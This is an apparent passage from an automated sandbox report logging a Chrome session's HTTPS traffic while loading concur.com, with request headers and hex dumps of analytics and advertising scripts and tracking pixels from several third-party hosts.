{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-10-03 08:41:43 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49988	35.244.142.80	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	520	OUT	GET /ping.min.js HTTP/1.1 Host: cdn.pdst.fm Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	829	IN	HTTP/1.1 200 OK x-goog-generation: 1719323749654301 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 22096 x-goog-hash: crc32c=NZyeaA== x-goog-hash: md5=Tt3uyVr9qWmz0bL7lwwesQ== x-goog-storage-class: STANDARD Accept-Ranges: bytes Content-Length: 22096 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Type X-GUploader-UploadID: AD-8ljuxHQGxKecF17HwDHRv3bjIP4AaITJXNA-O9kC9teLTXVtRXHM4CQXIqfiqezIKeJj8vQQ Server: UploadServer Date: Thu, 03 Oct 2024 08:09:08 GMT Expires: Thu, 03 Oct 2024 09:09:08 GMT Cache-Control: public, max-age=3600 Age: 1955 Last-Modified: Tue, 25 Jun 2024 13:55:49 GMT ETag: "4eddeec95afda969b3d1b2fb970c1eb1" Content-Type: text/javascript Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:43 UTC	561	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 32 32 38 3a 74 3d 3e 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 65 3d 22 7e 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 6e 2c 65 29 7b 74 68 69 73 2e 66 6e 3d 74 2c 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 6e 2c 74 68 69 73 2e 6f 6e 63 65 3d 65 7c 7c 21 31 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 6e 2c 72 2c 69 2c 63 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 72 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 6c 69 73 74 65 6e 65 72 20 6d 75 73 74 20 62 65 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 76 61 72 Data Ascii: (()=>{"use strict";var t={228:t=>{var n=Object.prototype.hasOwnProperty,e="~";function r(){}function o(t,n,e){this.fn=t,this.context=n,this.once=e\|\|!1}function i(t,n,r,i,c){if("function"!=typeof r)throw new TypeError("The listener must be a function");var
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 2c 28 6e 65 77 20 72 29 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 28 65 3d 21 31 29 29 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 65 76 65 6e 74 4e 61 6d 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 72 2c 6f 3d 5b 5d 3b 69 66 28 30 3d 3d 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 43 6f 75 6e 74 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 72 20 69 6e 20 74 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 29 6e 2e 63 61 6c 6c 28 74 2c 72 29 26 26 6f 2e 70 75 73 68 28 65 3f 72 2e 73 6c 69 63 65 28 31 29 3a 72 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3f 6f 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d Data Ascii: ject.create(null),(new r).__proto__\|\|(e=!1)),u.prototype.eventNames=function(){var t,r,o=[];if(0===this._eventsCount)return o;for(r in t=this._events)n.call(t,r)&&o.push(e?r.slice(1):r);return Object.getOwnPropertySymbols?o.concat(Object.getOwnPropertySym
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 72 67 75 6d 65 6e 74 73 5b 70 5d 3b 66 5b 73 5d 2e 66 6e 2e 61 70 70 6c 79 28 66 5b 73 5d 2e 63 6f 6e 74 65 78 74 2c 61 29 7d 7d 72 65 74 75 72 6e 21 30 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 74 2c 6e 2c 65 2c 21 31 29 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 74 2c 6e 2c 65 2c 21 30 29 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 2c 6f 29 7b 76 61 72 20 69 3d 65 3f 65 2b 74 3a 74 3b 69 66 28 21 74 68 69 73 2e 5f 65 76 65 6e 74 73 5b 69 5d 29 72 65 74 75 72 6e 20 74 68 Data Ascii: rguments[p];f[s].fn.apply(f[s].context,a)}}return!0},u.prototype.on=function(t,n,e){return i(this,t,n,e,!1)},u.prototype.once=function(t,n,e){return i(this,t,n,e,!0)},u.prototype.removeListener=function(t,n,r,o){var i=e?e+t:t;if(!this._events[i])return th
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 73 6c 69 63 65 28 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 75 28 74 2c 6e 3d 30 29 7b 72 65 74 75 72 6e 20 63 5b 74 5b 6e 2b 30 5d 5d 2b 63 5b 74 5b 6e 2b 31 5d 5d 2b 63 5b 74 5b 6e 2b 32 5d 5d 2b 63 5b 74 5b 6e 2b 33 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 34 5d 5d 2b 63 5b 74 5b 6e 2b 35 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 36 5d 5d 2b 63 5b 74 5b 6e 2b 37 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 38 5d 5d 2b 63 5b 74 5b 6e 2b 39 5d 5d 2b 22 2d 22 2b 63 5b 74 5b 6e 2b 31 30 5d 5d 2b 63 5b 74 5b 6e 2b 31 31 5d 5d 2b 63 5b 74 5b 6e 2b 31 32 5d 5d 2b 63 5b 74 5b 6e 2b 31 33 5d 5d 2b 63 5b 74 5b 6e 2b 31 34 5d 5d 2b 63 5b 74 5b 6e 2b 31 35 5d 5d 7d 63 6f 6e 73 74 20 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 69 66 28 6e 2e 72 61 6e 64 6f 6d 55 55 49 Data Ascii: slice(1));function u(t,n=0){return c[t[n+0]]+c[t[n+1]]+c[t[n+2]]+c[t[n+3]]+"-"+c[t[n+4]]+c[t[n+5]]+"-"+c[t[n+6]]+c[t[n+7]]+"-"+c[t[n+8]]+c[t[n+9]]+"-"+c[t[n+10]]+c[t[n+11]]+c[t[n+12]]+c[t[n+13]]+c[t[n+14]]+c[t[n+15]]}const a=function(t,e,r){if(n.randomUUI
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6e 5b 65 5d 3d 74 2e 66 69 65 6c 64 73 5b 65 5d 28 74 5b 65 5d 29 2c 6e 7d 29 2c 7b 7d 29 7d 7d 2c 74 7d 28 29 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 3a 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 2e 74 6f 53 74 72 69 6e 67 28 29 3a 6e 75 6c 6c 7d 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 70 61 72 73 65 49 6e 74 28 74 2c 31 30 29 3b 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 3f 6e 75 6c 6c 3a 6e 7d 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 Data Ascii: {return n[e]=t.fields[e](t[e]),n}),{})}},t}(),w=function(){return function(t){return"string"==typeof t?t:"number"==typeof t?t.toString():null}},m=function(){return function(t){var n=parseInt(t,10);return isNaN(n)?null:n}},g=function(){return function(t){v
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 5b 6f 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 54 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 63 6f 6e 73 74 20 45 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 7b 76 61 72 20 65 3d 74 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 65 2e 61 63 74 69 6f 6e 3d 22 76 69 65 77 22 3b 76 61 72 20 72 3d 53 28 7b 73 6f 75 72 63 65 3a 77 28 29 2c 70 6c 61 63 65 6d 65 6e 74 3a 77 28 29 2c 66 72 6f 6d 3a 77 28 29 7d 29 3b 65 2e 66 69 65 6c 64 73 3d 54 28 7b 75 72 6c 3a 77 28 29 2c 72 65 66 65 72 72 65 72 3a 77 28 29 2c 69 6e 49 66 72 61 6d 65 3a 62 28 29 2c 77 69 6e 64 6f 77 57 69 64 74 68 3a 6d 28 29 2c 77 69 6e 64 6f 77 48 65 69 67 68 74 3a 6d 28 29 2c 74 69 6d 65 7a 6f 6e 65 4f 66 66 73 65 74 3a 6d Data Ascii: [o]);return t},T.apply(this,arguments)};const E=function(t){function n(n){var e=t.call(this)\|\|this;e.action="view";var r=S({source:w(),placement:w(),from:w()});e.fields=T({url:w(),referrer:w(),inIframe:b(),windowWidth:m(),windowHeight:m(),timezoneOffset:m
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 28 29 29 2c 6e 3d 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 49 29 29 2c 74 3d 6e 7c 7c 22 30 22 7d 72 65 74 75 72 6e 20 74 7d 2c 56 3d 7b 75 73 65 72 3a 55 28 29 2c 73 65 73 73 69 6f 6e 3a 44 28 29 2c 70 61 67 65 3a 66 28 29 7d 3b 63 6f 6e 73 74 20 71 3d 56 3b 76 61 72 20 4c 3d 7b 7d 2c 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 2c 65 3d 22 73 70 64 74 2d 22 2e 63 6f 6e 63 61 74 28 73 28 29 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 28 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 31 65 33 29 2c 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 6e 29 29 29 2c 72 3d 7b 6f 72 64 65 72 3a 30 2c 70 69 64 3a 71 2e 70 61 67 65 2c 73 69 64 3a 71 2e 73 65 73 Data Ascii: ()),n=sessionStorage.getItem(I)),t=n\|\|"0"}return t},V={user:U(),session:D(),page:f()};const q=V;var L={},N=function(t){if(!t)return!1;var n,e="spdt-".concat(s(),"-").concat((void 0===n&&(n=1e3),Math.floor(Math.random()*n))),r={order:0,pid:q.page,sid:q.ses
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 65 6d 28 22 70 61 72 74 6e 65 72 5f 75 73 65 72 5f 69 64 22 2c 6e 2e 70 61 72 74 6e 65 72 5f 75 73 65 72 5f 69 64 29 2c 65 2e 75 70 64 61 74 65 28 6e 29 2c 65 7d 72 65 74 75 72 6e 20 52 28 6e 2c 74 29 2c 6e 7d 28 6a 29 3b 76 61 72 20 48 3d 5b 5d 2c 7a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 4c 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4c 5b 74 5d 7d 29 29 3b 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 6c 65 6e 67 74 68 3b 6e 2b 3d 31 29 7b 76 61 72 20 65 3d 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 6b 65 79 28 6e 29 Data Ascii: em("partner_user_id",n.partner_user_id),e.update(n),e}return R(n,t),n}(j);var H=[],z=function(t){var n=function(){var t=Object.keys(L).map((function(t){return L[t]}));if(window.localStorage)for(var n=0;n<localStorage.length;n+=1){var e=localStorage.key(n)
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 61 63 74 69 6f 6e 7d 29 29 7c 7c 74 2e 65 76 65 6e 74 73 2e 70 75 73 68 28 61 29 7d 29 29 7d 69 66 28 30 3d 3d 3d 6e 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 66 3d 71 2e 70 61 67 65 3b 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 69 64 3d 3d 3d 66 26 26 28 48 3d 48 2e 63 6f 6e 63 61 74 28 74 2e 65 76 65 6e 74 73 29 29 7d 29 29 3b 76 61 72 20 6c 3d 6e 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 7b 70 69 78 65 6c 5f 69 64 3a 68 28 22 6b 65 79 22 29 7d 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2c 7b 75 69 64 3a 71 2e 75 73 65 72 2c 74 69 6d 65 3a 73 28 29 2c 70 69 78 65 6c 5f 76 65 72 73 69 6f 6e 3a 22 22 2e 63 6f 6e 63 61 74 28 22 32 2e 30 2e 30 22 Data Ascii: action}))\|\|t.events.push(a)}))}if(0===n.length)return!1;var f=q.page;n.forEach((function(t){t.pid===f&&(H=H.concat(t.events))}));var l=n.map((function(t){var n={pixel_id:h("key")};return Object.assign(t,{uid:q.user,time:s(),pixel_version:"".concat("2.0.0"
2024-10-03 08:41:43 UTC	1390	IN	Data Raw: 28 72 2c 75 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6f 3b 73 77 69 74 63 68 28 72 3d 30 2c 6f 26 26 28 75 3d 5b 32 26 75 5b 30 5d 2c 6f 2e 76 61 6c 75 65 5d 29 2c 75 5b 30 5d 29 7b 63 61 73 65 20 30 3a 63 61 73 65 20 31 3a 6f 3d 75 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 63 2e 6c 61 62 65 6c 2b 2b 2c 7b 76 61 6c 75 65 3a 75 5b 31 5d 2c 64 6f 6e 65 3a 21 31 7d 3b 63 61 73 65 20 35 3a 63 2e 6c 61 62 65 6c 2b 2b 2c 72 3d 75 5b 31 5d 2c 75 3d 5b 30 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 20 37 3a 75 3d 63 2e 6f 70 73 2e 70 6f 70 28 29 2c 63 2e 74 72 79 73 2e 70 6f 70 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 64 65 66 61 75 6c 74 3a 69 66 28 21 28 6f 3d 63 2e 74 72 79 73 2c 28 6f 3d 6f 2e 6c 65 6e 67 74 68 3e 30 26 26 6f 5b Data Ascii: (r,u[1])).done)return o;switch(r=0,o&&(u=[2&u[0],o.value]),u[0]){case 0:case 1:o=u;break;case 4:return c.label++,{value:u[1],done:!1};case 5:c.label++,r=u[1],u=[0];continue;case 7:u=c.ops.pop(),c.trys.pop();continue;default:if(!(o=c.trys,(o=o.length>0&&o[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49984	63.140.62.27	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	2187	OUT	GET /b/ss/concur-global-all,concur-all/10/JS-2.22.0/s4921290028796?AQB=1&ndh=1&pf=1&callback=s_c_il[1].doPostbacks&et=1&t=3%2F9%2F2024%204%3A41%3A39%204%20240&cid.&concuruser.&id=1486f2f9-7a8c-4199-e491-6192cc1ca748&as=1&.concuruser&.cid&d.&nsid=0&jsonv=1&.d&sdid=2ECDF2DFEF7C53EF-060FC7AD4029FB39&mid=77086837030265396271481667617469483305&aamlh=6&ce=UTF-8&ns=concurtechnologies&cdp=2&pageName=homepage&g=https%3A%2F%2Fwww.concur.com%2F&c.&adConsent=YY&.c&cc=USD&ch=no%20section&server=concurtechnologies.sc.omtrdc.net&aamb=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&c6=homepage&c12=en-us&v12=1486f2f9-7a8c-4199-e491-6192cc1ca748&v13=D%3DpageName&v17=direct&v18=direct&v19=direct&v20=direct&v21=admin%20exports%20900&c22=VisitorAPI%20Present&v22=admin%20exports%20900&v23=Corporate%20Services&v24=Human%20Resources%20and%20Staffing&v25=8&v26=7361&v27=Not%20In%20List&v28=SC&v29=29607&v30=US&v31=United%20States&v32=3750000&v33=%241M%20-%20%245M&v34=%3C%2050&v35=SOHO&v36=ISP%20Visitor&v37=en-us&v38=Not%20In%20Lis [TRUNCATED] Host: concurtechnologies.sc.omtrdc.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:44 UTC	616	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Thu, 03 Oct 2024 08:41:44 GMT expires: Wed, 02 Oct 2024 08:41:44 GMT last-modified: Fri, 04 Oct 2024 08:41:44 GMT pragma: no-cache p3p: CP="This is not a P3P policy" server: jag etag: 3710733426055708672-4618606667841586511 vary: * x-aam-tid: XMGVHZrdS8o= dcs: dcs-prod-irl1-1-v065-0b4c0805d.edge-irl1.demdex.com 14 ms content-type: application/x-javascript;charset=utf-8 content-length: 4137 cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-10-03 08:41:44 UTC	4137	IN	Data Raw: 69 66 28 73 5f 63 5f 69 6c 5b 31 5d 2e 64 6f 50 6f 73 74 62 61 63 6b 73 29 73 5f 63 5f 69 6c 5b 31 5d 2e 64 6f 50 6f 73 74 62 61 63 6b 73 28 7b 22 73 74 75 66 66 22 3a 5b 5d 2c 22 75 75 69 64 22 3a 22 37 37 30 36 33 35 32 34 35 33 38 36 34 36 30 37 32 32 37 31 34 37 39 32 31 33 32 35 39 34 34 35 30 39 38 36 38 31 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 74 69 64 22 3a 22 58 4d 47 56 48 5a 72 64 53 38 6f 3d 22 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 32 31 22 2c 22 74 74 6c 22 3a 31 34 34 30 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 30 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 30 2c 22 75 72 6c 22 3a 5b 22 2f 2f 61 61 2e 61 67 6b 6e 2e 63 6f 6d 2f 61 64 73 63 6f 72 65 73 2f 67 2e 70 69 78 65 6c 3f Data Ascii: if(s_c_il[1].doPostbacks)s_c_il[1].doPostbacks({"stuff":[],"uuid":"77063524538646072271479213259445098681","dcs_region":6,"tid":"XMGVHZrdS8o=","ibs":[{"id":"21","ttl":14400,"tag":"img","fireURLSync":0,"syncOnPage":0,"url":["//aa.agkn.com/adscores/g.pixel?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49986	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1287.js?utv=ut4.39.202409041647 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:44 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3458 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:50 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: X.Fkx8cDC50Mc3dh7SCP9xdB7SDZJnY1 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:44 GMT ETag: "990086221b416e7cf0e7b33a433daec2" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 9bd2938ceb90e1a35f549d1165e84676.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: pNzRqreo5ms9KsIDxZRU0yr7Owz469Eni1hLL8Z3gGHgjtjXkW_7-w== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:44 UTC	3458	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 38 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 76 61 72 20 75 65 74 71 3d 75 65 74 71 7c 7c 5b 5d 3b 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 Data Ascii: //tealium universal tag - utag.1287 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.var uetq=uetq\|\|[];try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d*)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49990	35.171.198.4	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	485	OUT	GET /sync?UIDM=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0 HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=44533304b6d14becac7193d907199f5a; tv_UIDM=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0
2024-10-03 08:41:44 UTC	369	IN	HTTP/1.1 200 Date: Thu, 03 Oct 2024 08:41:44 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' Set-Cookie: tv_UIDM=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0; Domain=.tremorhub.com; Expires=Sat, 03-Oct-2026 20:18:24 GMT; Path=/; Secure; SameSite=None
2024-10-03 08:41:44 UTC	49	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a Data Ascii: 2bGIF89a!,D;
2024-10-03 08:41:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49987	18.172.103.101	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:44 UTC	648	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRgFIAEoAjILCNrjub695LE9EAU4AQ..
2024-10-03 08:41:44 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 50297 Connection: close Date: Thu, 03 Oct 2024 02:59:11 GMT Last-Modified: Thu, 03 Oct 2024 02:53:02 GMT ETag: "6456d197d494e7ee00da27310d2f1993" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 84c3894c21a4640fb5c0efcf95646dca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P8 X-Amz-Cf-Id: LI28MUcb9bAn_lQQqNf9tLQrm8WTkPfBuwiWa1LHKsNX5S3S7S1ueQ== Age: 20554
2024-10-03 08:41:44 UTC	15849	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 20 20 20 20 2f 2f 20 6c 6f 67 20 72 65 6c 61 74 65 64 0a 20 20 20 20 6c 65 74 20 6c 6f 67 4c 65 76 65 6c 20 3d 20 6e 75 6c 6c 2c 0a 20 20 20 20 20 20 20 20 6c 6f 67 43 61 74 65 67 6f 72 79 20 3d 20 22 28 54 54 44 29 22 3b 0a 20 20 20 20 63 6f 6e 73 74 20 4c 4f 47 5f 4c 45 56 45 4c 53 20 3d 20 5b 22 64 65 62 75 67 22 2c 20 22 69 6e 66 6f 22 2c 20 22 77 61 72 6e 22 2c 20 22 65 72 72 6f 72 22 5d 3b 0a 20 20 20 20 6c 65 74 20 4c 6f 67 67 65 72 20 3d 20 4c 4f 47 5f 4c 45 56 45 4c 53 2e 72 65 64 75 63 65 28 28 28 65 2c 20 74 2c 20 6e 29 20 3d 3e 20 28 65 5b 74 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 